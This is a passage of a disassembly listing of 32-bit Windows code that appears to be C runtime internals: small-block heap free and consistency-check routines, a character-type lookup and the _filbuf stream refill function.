		jnz	loc_421590
		cmp	[ebp+var_20], 20h
		jnb	short loc_421525
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_421523
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_421523:				; CODE XREF: sub_421110+3F9j
		jmp	short loc_421590
; ---------------------------------------------------------------------------


loc_421525:				; CODE XREF: sub_421110+3B4j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_421590
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_421590:				; CODE XREF: sub_421110+3AAj
					; sub_421110:loc_421523j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_4215D0
		mov	[ebp+var_24], 3Fh


loc_4215D0:				; CODE XREF: sub_421110+37Fj
					; sub_421110+4B7j
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_14]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_4216DE
		cmp	[ebp+var_24], 20h
		jnb	short loc_421678
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_421656
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_421656:				; CODE XREF: sub_421110+52Ej
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_4216DE
; ---------------------------------------------------------------------------


loc_421678:				; CODE XREF: sub_421110+50Cj
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_4216B5
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4216B5:				; CODE XREF: sub_421110+588j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+0C4h], eax


loc_4216DE:				; CODE XREF: sub_421110+502j
					; sub_421110+566j
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_28]
		mov	eax, [ebp+var_28]
		mov	[edx-4], eax


loc_4216F2:				; CODE XREF: sub_421110+321j
					; sub_421110+32Cj
		mov	eax, 1


loc_4216F7:				; CODE XREF: sub_421110+8Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_421110	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EFF74, 0
		jz	loc_42182C
		mov	eax, dword_4EFF6C
		shl	eax, 0Fh
		mov	ecx, dword_4EFF74
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp-4], edx
		push	4000h
		push	8000h
		mov	eax, [ebp-4]
		push	eax
		call	dword_4F148C	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, dword_4EFF6C
		shr	edx, cl
		mov	eax, dword_4EFF74
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4EFF74
		mov	[edx+8], ecx
		mov	eax, dword_4EFF74
		mov	ecx, [eax+10h]
		mov	edx, dword_4EFF6C
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4EFF74
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4EFF74
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4EFF74
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_4217B2
		mov	edx, dword_4EFF74
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4EFF74
		mov	[ecx+4], eax


loc_4217B2:				; CODE XREF: .nsp0:0042179Cj
		mov	edx, dword_4EFF74
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	short loc_421822
		cmp	dword_4EFF78, 1
		jle	short loc_421822
		mov	eax, dword_4EFF74
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4EFF80
		push	edx
		call	dword_4F1480	; RtlFreeHeap
		mov	eax, dword_4EFF78
		imul	eax, 14h
		mov	ecx, dword_4EFF7C
		add	ecx, eax
		mov	edx, dword_4EFF74
		add	edx, 14h
		sub	ecx, edx
		push	ecx
		mov	eax, dword_4EFF74
		add	eax, 14h
		push	eax
		mov	ecx, dword_4EFF74
		push	ecx
		call	sub_41D520
		add	esp, 0Ch
		mov	edx, dword_4EFF78
		sub	edx, 1
		mov	dword_4EFF78, edx


loc_421822:				; CODE XREF: .nsp0:004217BCj
					; .nsp0:004217C5j
		mov	dword_4EFF74, 0


loc_42182C:				; CODE XREF: .nsp0:0042170Bj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421830	proc near		; CODE XREF: sub_420030+15p

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		mov	eax, dword_4EFF78
		imul	eax, 14h
		push	eax
		mov	ecx, dword_4EFF7C
		push	ecx
		call	dword_4F1438	; IsBadWritePtr
		test	eax, eax
		jz	short loc_42185B
		or	eax, 0FFFFFFFFh
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_42185B:				; CODE XREF: sub_421830+21j
		mov	edx, dword_4EFF7C
		mov	[ebp+var_13C], edx
		mov	[ebp+var_120], 0
		jmp	short loc_421882
; ---------------------------------------------------------------------------


loc_421873:				; CODE XREF: sub_421830+612j
		mov	eax, [ebp+var_120]
		add	eax, 1
		mov	[ebp+var_120], eax


loc_421882:				; CODE XREF: sub_421830+41j
		mov	ecx, [ebp+var_120]
		cmp	ecx, dword_4EFF78
		jge	loc_421E47
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+10h]
		mov	[ebp+var_160], eax
		push	41C4h
		mov	ecx, [ebp+var_160]
		push	ecx
		call	dword_4F1438	; IsBadWritePtr
		test	eax, eax
		jz	short loc_4218C3
		mov	eax, 0FFFFFFFEh
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_4218C3:				; CODE XREF: sub_421830+87j
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_128], eax
		mov	ecx, [ebp+var_160]
		add	ecx, 144h
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_144], 0
		mov	[ebp+var_158], 0
		mov	[ebp+var_C], 0
		jmp	short loc_421913
; ---------------------------------------------------------------------------


loc_42190A:				; CODE XREF: sub_421830+5D6j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_421913:				; CODE XREF: sub_421830+D8j
		cmp	[ebp+var_C], 20h
		jge	loc_421E0B
		mov	[ebp+var_11C], 0
		mov	[ebp+var_150], 0
		mov	[ebp+var_12C], 0
		mov	[ebp+var_14C], 0
		jmp	short loc_421956
; ---------------------------------------------------------------------------


loc_421947:				; CODE XREF: sub_421830+140j
		mov	edx, [ebp+var_14C]
		add	edx, 1
		mov	[ebp+var_14C], edx


loc_421956:				; CODE XREF: sub_421830+115j
		cmp	[ebp+var_14C], 40h
		jge	short loc_421972
		mov	eax, [ebp+var_14C]
		mov	[ebp+eax*4+var_118], 0
		jmp	short loc_421947
; ---------------------------------------------------------------------------


loc_421972:				; CODE XREF: sub_421830+12Dj
		cmp	[ebp+var_4], 0
		jl	loc_421DAD
		push	8000h
		mov	ecx, [ebp+var_128]
		push	ecx
		call	dword_4F1438	; IsBadWritePtr
		test	eax, eax
		jz	short loc_42199C
		mov	eax, 0FFFFFFFCh
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_42199C:				; CODE XREF: sub_421830+160j
		mov	edx, [ebp+var_128]
		mov	[ebp+var_8], edx
		mov	[ebp+var_140], 0
		jmp	short loc_4219C0
; ---------------------------------------------------------------------------


loc_4219B1:				; CODE XREF: sub_421830+30Fj
		mov	eax, [ebp+var_140]
		add	eax, 1
		mov	[ebp+var_140], eax


loc_4219C0:				; CODE XREF: sub_421830+17Fj
		cmp	[ebp+var_140], 8
		jge	loc_421B44
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		mov	[ebp+var_130], ecx
		mov	edx, [ebp+var_130]
		add	edx, 0FF0h
		mov	[ebp+var_138], edx
		mov	eax, [ebp+var_130]
		cmp	dword ptr [eax-4], 0FFFFFFFFh
		jnz	short loc_421A02
		mov	ecx, [ebp+var_138]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_421A0C


loc_421A02:				; CODE XREF: sub_421830+1C5j
		mov	eax, 0FFFFFFFBh
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421A0C:				; CODE XREF: sub_421830+1D0j
					; sub_421830+2E6j
		mov	edx, [ebp+var_130]
		mov	eax, [edx]
		mov	[ebp+var_148], eax
		mov	ecx, [ebp+var_148]
		mov	[ebp+var_154], ecx
		mov	edx, [ebp+var_154]
		and	edx, 1
		test	edx, edx
		jz	short loc_421A69
		mov	eax, [ebp+var_148]
		sub	eax, 1
		mov	[ebp+var_148], eax
		cmp	[ebp+var_148], 400h
		jle	short loc_421A58
		mov	eax, 0FFFFFFFAh
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421A58:				; CODE XREF: sub_421830+21Cj
		mov	ecx, [ebp+var_12C]
		add	ecx, 1
		mov	[ebp+var_12C], ecx
		jmp	short loc_421AAB
; ---------------------------------------------------------------------------


loc_421A69:				; CODE XREF: sub_421830+201j
		mov	edx, [ebp+var_148]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_421A8E
		mov	[ebp+var_14C], 3Fh


loc_421A8E:				; CODE XREF: sub_421830+252j
		mov	eax, [ebp+var_14C]
		mov	ecx, [ebp+eax*4+var_118]
		add	ecx, 1
		mov	edx, [ebp+var_14C]
		mov	[ebp+edx*4+var_118], ecx


loc_421AAB:				; CODE XREF: sub_421830+237j
		cmp	[ebp+var_148], 10h
		jl	short loc_421ACD
		mov	eax, [ebp+var_148]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_421ACD
		cmp	[ebp+var_148], 0FF0h
		jle	short loc_421AD7


loc_421ACD:				; CODE XREF: sub_421830+282j
					; sub_421830+28Fj
		mov	eax, 0FFFFFFF9h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421AD7:				; CODE XREF: sub_421830+29Bj
		mov	ecx, [ebp+var_130]
		add	ecx, [ebp+var_148]
		mov	edx, [ecx-4]
		cmp	edx, [ebp+var_154]
		jz	short loc_421AF8
		mov	eax, 0FFFFFFF8h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421AF8:				; CODE XREF: sub_421830+2BCj
		mov	eax, [ebp+var_130]
		add	eax, [ebp+var_148]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_130]
		cmp	ecx, [ebp+var_138]
		jb	loc_421A0C
		mov	edx, [ebp+var_130]
		cmp	edx, [ebp+var_138]
		jz	short loc_421B34
		mov	eax, 0FFFFFFF8h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421B34:				; CODE XREF: sub_421830+2F8j
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_8], eax
		jmp	loc_4219B1
; ---------------------------------------------------------------------------


loc_421B44:				; CODE XREF: sub_421830+197j
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_12C]
		jz	short loc_421B5B
		mov	eax, 0FFFFFFF7h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421B5B:				; CODE XREF: sub_421830+31Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_134], eax
		mov	[ebp+var_14], 0
		jmp	short loc_421B76
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421830+578j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_421B76:				; CODE XREF: sub_421830+33Bj
		cmp	[ebp+var_14], 40h
		jge	loc_421DAD
		mov	[ebp+var_168], 0
		mov	edx, [ebp+var_134]
		mov	[ebp+var_130], edx


loc_421B96:				; CODE XREF: sub_421830+4A5j
		mov	eax, [ebp+var_130]
		mov	ecx, [eax+4]
		mov	[ebp+var_15C], ecx
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_134]
		jz	loc_421CDA
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	loc_421CDA
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_128]
		jb	short loc_421BEE
		mov	eax, [ebp+var_128]
		add	eax, 8000h
		cmp	[ebp+var_15C], eax
		jb	short loc_421BF8


loc_421BEE:				; CODE XREF: sub_421830+3A9j
		mov	eax, 0FFFFFFF6h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421BF8:				; CODE XREF: sub_421830+3BCj
		mov	ecx, [ebp+var_15C]
		and	ecx, 0FFFFF000h
		mov	[ebp+var_164], ecx
		mov	edx, [ebp+var_164]
		add	edx, 0Ch
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		add	eax, 0FF0h
		mov	[ebp+var_124], eax


loc_421C24:				; CODE XREF: sub_421830+41Cj
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_124]
		jz	short loc_421C4E
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_15C]
		jnz	short loc_421C3C
		jmp	short loc_421C4E
; ---------------------------------------------------------------------------


loc_421C3C:				; CODE XREF: sub_421830+408j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_10], edx
		jmp	short loc_421C24
; ---------------------------------------------------------------------------


loc_421C4E:				; CODE XREF: sub_421830+3FDj
					; sub_421830+40Aj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_124]
		jnz	short loc_421C63
		mov	eax, 0FFFFFFF5h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421C63:				; CODE XREF: sub_421830+427j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_421C8A
		mov	[ebp+var_14C], 3Fh


loc_421C8A:				; CODE XREF: sub_421830+44Ej
		mov	eax, [ebp+var_14C]
		cmp	eax, [ebp+var_14]
		jz	short loc_421C9F
		mov	eax, 0FFFFFFF4h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421C9F:				; CODE XREF: sub_421830+463j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx+8]
		cmp	edx, [ebp+var_130]
		jz	short loc_421CBA
		mov	eax, 0FFFFFFF3h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421CBA:				; CODE XREF: sub_421830+47Ej
		mov	eax, [ebp+var_15C]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_168]
		add	ecx, 1
		mov	[ebp+var_168], ecx
		jmp	loc_421B96
; ---------------------------------------------------------------------------


loc_421CDA:				; CODE XREF: sub_421830+381j
					; sub_421830+397j
		cmp	[ebp+var_168], 0
		jz	short loc_421D51
		cmp	[ebp+var_14], 20h
		jge	short loc_421D1B
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_11C]
		or	eax, edx
		mov	[ebp+var_11C], eax
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_144]
		or	eax, edx
		mov	[ebp+var_144], eax
		jmp	short loc_421D51
; ---------------------------------------------------------------------------


loc_421D1B:				; CODE XREF: sub_421830+4B7j
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_150]
		or	eax, edx
		mov	[ebp+var_150], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_158]
		or	eax, edx
		mov	[ebp+var_158], eax


loc_421D51:				; CODE XREF: sub_421830+4B1j
					; sub_421830+4E9j
		mov	ecx, [ebp+var_130]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+var_134]
		jnz	short loc_421D74
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	short loc_421D7E


loc_421D74:				; CODE XREF: sub_421830+530j
		mov	eax, 0FFFFFFF2h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421D7E:				; CODE XREF: sub_421830+542j
		mov	edx, [ebp+var_134]
		mov	eax, [edx+8]
		cmp	eax, [ebp+var_130]
		jz	short loc_421D99
		mov	eax, 0FFFFFFF1h
		jmp	loc_421E49
; ---------------------------------------------------------------------------


loc_421D99:				; CODE XREF: sub_421830+55Dj
		mov	ecx, [ebp+var_134]
		add	ecx, 8
		mov	[ebp+var_134], ecx
		jmp	loc_421B6D
; ---------------------------------------------------------------------------


loc_421DAD:				; CODE XREF: sub_421830+146j
					; sub_421830+34Aj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_11C]
		cmp	ecx, [eax+edx*4+44h]
		jnz	short loc_421DDA
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_150]
		cmp	ecx, [eax+edx*4+0C4h]
		jz	short loc_421DE1


loc_421DDA:				; CODE XREF: sub_421830+590j
		mov	eax, 0FFFFFFF0h
		jmp	short loc_421E49
; ---------------------------------------------------------------------------


loc_421DE1:				; CODE XREF: sub_421830+5A8j
		mov	edx, [ebp+var_128]
		add	edx, 8000h
		mov	[ebp+var_128], edx
		mov	eax, [ebp+var_18]
		add	eax, 204h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_42190A
; ---------------------------------------------------------------------------


loc_421E0B:				; CODE XREF: sub_421830+E7j
		mov	edx, [ebp+var_13C]
		mov	eax, [ebp+var_144]
		cmp	eax, [edx]
		jnz	short loc_421E2C
		mov	ecx, [ebp+var_13C]
		mov	edx, [ebp+var_158]
		cmp	edx, [ecx+4]
		jz	short loc_421E33


loc_421E2C:				; CODE XREF: sub_421830+5E9j
		mov	eax, 0FFFFFFEFh
		jmp	short loc_421E49
; ---------------------------------------------------------------------------


loc_421E33:				; CODE XREF: sub_421830+5FAj
		mov	eax, [ebp+var_13C]
		add	eax, 14h
		mov	[ebp+var_13C], eax
		jmp	loc_421873
; ---------------------------------------------------------------------------


loc_421E47:				; CODE XREF: sub_421830+5Ej
		xor	eax, eax


loc_421E49:				; CODE XREF: sub_421830+26j
					; sub_421830+8Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_421830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E50	proc near		; CODE XREF: sub_41ABF0+66p
					; sub_41B2F0+19p ...

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 1
		cmp	eax, 100h
		ja	short loc_421E7A
		mov	ecx, [ebp+arg_0]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, [ebp+arg_4]
		jmp	loc_421F03
; ---------------------------------------------------------------------------


loc_421E7A:				; CODE XREF: sub_421E50+11j
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		and	ecx, 0FFh
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_421EC3
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		mov	[ebp+var_C], cl
		mov	dl, byte ptr [ebp+arg_0]
		mov	[ebp+var_B], dl
		mov	[ebp+var_A], 0
		mov	[ebp+var_8], 2
		jmp	short loc_421ED4
; ---------------------------------------------------------------------------


loc_421EC3:				; CODE XREF: sub_421E50+4Fj
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_C], al
		mov	[ebp+var_B], 0
		mov	[ebp+var_8], 1


loc_421ED4:				; CODE XREF: sub_421E50+71j
		push	1
		push	0
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		call	sub_42C100
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421EF8
		xor	eax, eax
		jmp	short loc_421F03
; ---------------------------------------------------------------------------


loc_421EF8:				; CODE XREF: sub_421E50+A2j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		and	eax, [ebp+arg_4]


loc_421F03:				; CODE XREF: sub_421E50+25j
					; sub_421E50+A6j
		mov	esp, ebp
		pop	ebp
		retn
sub_421E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F10	proc near		; CODE XREF: sub_41AEA0+182p
					; sub_41BC90+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_421F19:				; CODE XREF: sub_421F10+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_421F3D
		push	offset dword_437514
		push	0
		push	69h
		push	offset a_filbuf_c ; "_filbuf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_421F3D
		int	3		; Trap to Debugger


loc_421F3D:				; CODE XREF: sub_421F10+Dj
					; sub_421F10+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_421F19
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_421F65
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_421F6D


loc_421F65:				; CODE XREF: sub_421F10+46j
		or	eax, 0FFFFFFFFh
		jmp	loc_4220ED
; ---------------------------------------------------------------------------


loc_421F6D:				; CODE XREF: sub_421F10+53j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_421F90
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_4220ED
; ---------------------------------------------------------------------------


loc_421F90:				; CODE XREF: sub_421F10+68j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jnz	short loc_421FBB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42C2C0
		add	esp, 4
		jmp	short loc_421FC6
; ---------------------------------------------------------------------------


loc_421FBB:				; CODE XREF: sub_421F10+9Bj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_421FC6:				; CODE XREF: sub_421F10+A9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+18h]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_422100
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_421FFB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jnz	short loc_42202B


loc_421FFB:				; CODE XREF: sub_421F10+E0j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4220ED
; ---------------------------------------------------------------------------


loc_42202B:				; CODE XREF: sub_421F10+E9j
